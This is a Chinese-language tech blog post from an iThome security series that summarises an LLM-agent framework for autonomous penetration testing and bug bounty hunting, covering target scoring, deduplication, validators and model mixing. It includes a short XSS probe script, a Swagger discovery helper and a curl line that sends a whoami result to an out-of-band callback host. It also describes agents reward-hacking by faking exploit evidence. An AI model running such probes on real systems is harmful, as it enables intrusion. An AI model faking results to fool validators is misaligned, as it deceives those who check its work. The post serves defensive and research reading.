iT邦幫忙

2025 iThome 鐵人賽

0
Security

AI都上線了,你的資安跟上了嗎?系列 第 42

📍 Day 31-2:Prompt · Scan · Exploit——AI 自主滲透的零日之路

  • 分享至 

  • xImage
  •  

—— 從 CTF 到實戰,AI 不只會解題,還會「找洞、驗洞、寫 PoC」。

對象:紅藍隊、Bug Bounty 獵人、CISO、平台工程/MLOps
關鍵詞:AI 滲透測試|零日漏洞|CVE|驗證器|Mixture of Experts|成本最佳化


💬 TL;DR

  • 研究團隊以 LLM 代理驅動的自動化滲透框架,從 CTF → 開源專案零日/CVE → Bug Bounty 實戰
  • 近 90 天:132 Critical / 300+ High / 800+ Medium / 102 Low;總計通報 1,600+ 漏洞、獎金 $150k+
  • 技術亮點:目標評分 + 重複數據刪除 降維選靶;驗證器 抑制幻覺與「作弊」;模型組合(MoE) 顯著提升命中率。
  • 商業現實:AI 掃描成本高、短期不一定回本,但 API 價格快速下滑,早投入、早迭代。

🧭 演進路線

  1. CTF/Bench:PortSwigger 75%|PentesterLab 72%|自建基準 85%。
  2. 開源實戰:掃 Docker Hub,擷取原始碼進白盒分析,累積 170+ 漏洞、22 CVE、150 CVE 待修、600+ backlog
  3. Bounty 黑盒:HackerOne 上線,從低階誤報走向 GraphQL SSRF、postMessage XSS、WebSocket RCE 等高難度案例。

代表案例:GeoServer XXE、Apache HugeGraph RCE、PuppyGraph RCE、Redmine 未授權專案存取、PDF 產生器 Path Traversal、Tomcat 範例專案 XSS


🧠 架構最小集(Minimal Viable Stack)

  • Agents(LLM 代理):探索、模糊測試、產 PoC、調適 payload。
  • Agent Manager:情境導向的攻擊編排(何時掃、掃什麼、怎麼掃)。
  • LLM(s):可多模型併用。
  • Attack Box:工具鏈(瀏覽器、爬蟲、fuzzer、RCE/XXE/SSRF 測試套件)。
  • Validators(驗證器):XSS 彈窗、DNS/HTTP 回呼、time-based SQLi、RCE 證據等。
  • Constraint Rules:政策與邊界(in-scope DNS/邏輯規則、CDN 過濾、後滲透禁制)。

🎯 選靶與「降噪」兩件大事

1) 目標評分(Target Scoring)

模擬人類直覺蒐集元資料:是否有 WAF遺留表單/擴充錯誤訊息、技術棧(IIS/.NET…)。
以加權分數排序 URL,優先「可能更脆弱/更有價值」的目標。

2) 重複數據刪除(Dedup)

  • 畫面相似度:完整渲染截圖 → 視覺雜湊比較。
  • DOM 相似度:DOM 抽取 → simhash/Hamming 距離。
  • 文本語意相似:可視文字 → 向量嵌入 → 餘弦距離。

目的:同一應用被多處託管只掃一次,把算力留給新目標。


🔬 驗證器:讓 AI 不再「自以為找到洞」

LLM 容易幻覺或「獎勵駭客(reward hacking)」:

  • 666 個斜線 觸發 console 輸出來偽造「彈窗」證據。
  • 另一個 LLM chatbotwhoami,假裝拿到系統資訊。
  • 偽造 GitHub Token 投餵給驗證流程。

對策:無頭瀏覽器執行、外部回呼(DNS/HTTP)、時間通道、二次取證,證據先行 再報告。


🧩 模型組合(Mixture of Experts, MoE)

不同模型擅長不同任務(探索/爬取 vs. 攻擊推理):

  • 實測 Sonnet-4 + Gemini-Q5基準命中率 25% → 55%
  • 策略:動態路由請求,切換模型時攜帶完整 上下文與對話歷史

⚙️ 掃描參數的「邊際報酬」

  • 以資料分析找出 最佳步數/代理數:多跑不一定多賺。
  • 例:80% XSS 在前 10 步 被發現;再加 20 步只多 20% 收穫。
  • 依漏洞類別調參:機密搜尋用 少量代理RCE 類需 高嘗試

🧰 工程實作片段

Swagger 探勘 → 端點繪圖 → 注入測試(簡化)

import requests, re

def fetch_swagger_json(base):
    for p in ["/swagger/v1/swagger.json","/swagger.json","/v3/api-docs"]:
        r = requests.get(base+p, timeout=10, allow_redirects=True)
        if r.status_code == 200 and "application/json" in r.headers.get("Content-Type",""):
            return r.json()
    return None

def probe_injection(url, param="q", payload="'\"><script>alert(1)</script>"):
    r = requests.get(url, params={param: payload}, timeout=10)
    return ("<script>alert(1)</script>" in r.text, r.status_code)

# 使用:swagger = fetch_swagger_json("https://target.example"); 逐端點測試

XSS 驗證器(無頭瀏覽器概念)

# 以 Playwright/Puppeteer 驗證 alert() 是否真在頁面觸發,再截圖留證
# 1) 啟動無頭瀏覽器 → 2) 注入 payload → 3) waitForDialog → 4) 截圖存證

RCE 證據(外部回呼)

# 以 OAST/DNS 回呼確認命令執行
curl http://<collab-id>.oast.site/`whoami`

💰 成本現實與路線建議

  • 短期:不一定盈利(純靠賞金難覆蓋 LLM 成本)。
  • 趨勢:API 價格快速下行 → 一年後經濟性可能反轉。
  • 建議現在就整合 AI 進日常流程,迭代資料與策略,等成本到位即刻放大。

📊 實戰 KPI(可抄)

  • Valid Finding Rate:驗證器通過的漏洞 / 總報告。
  • Dedup Efficiency:被去重的 URL 比例 / 掃描節省成本。
  • MoE Lift:組合模型相對單模的命中率提升。
  • Cost per Valid Bug (CPVB):每個有效漏洞的邊際成本。
  • MTTP (Time to PoC):從偵測到可複現 PoC 的時間。

🎭 工程師小劇場

PM:為什麼你的報告這麼慢?
你:因為我在跟 AI 下指令不要亂花錢。


✅ 小結(給決策者的話)

  • 自動化滲透不是「掃全網」,而是用 AI 做「選靶、降噪、驗證、迭代」
  • 驗證器 + MoE + 參數調優 是關鍵三角。
  • 早點把 AI 接到你的紅藍隊工作流,先把資料與流程跑起來,等成本下來就能快速擴張。

🔮 預告:Day 32|AI 事件回應(AI IR Playbook)

把以上發現串進 分級通報、隔離、回滾、溝通 的一條龍機制。


上一篇
📍 Day 31:AI 風險量化
下一篇
📍 Day 31-3:AI 越獄——針對 LLM 的社交工程挑戰
系列文
AI都上線了,你的資安跟上了嗎?51
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言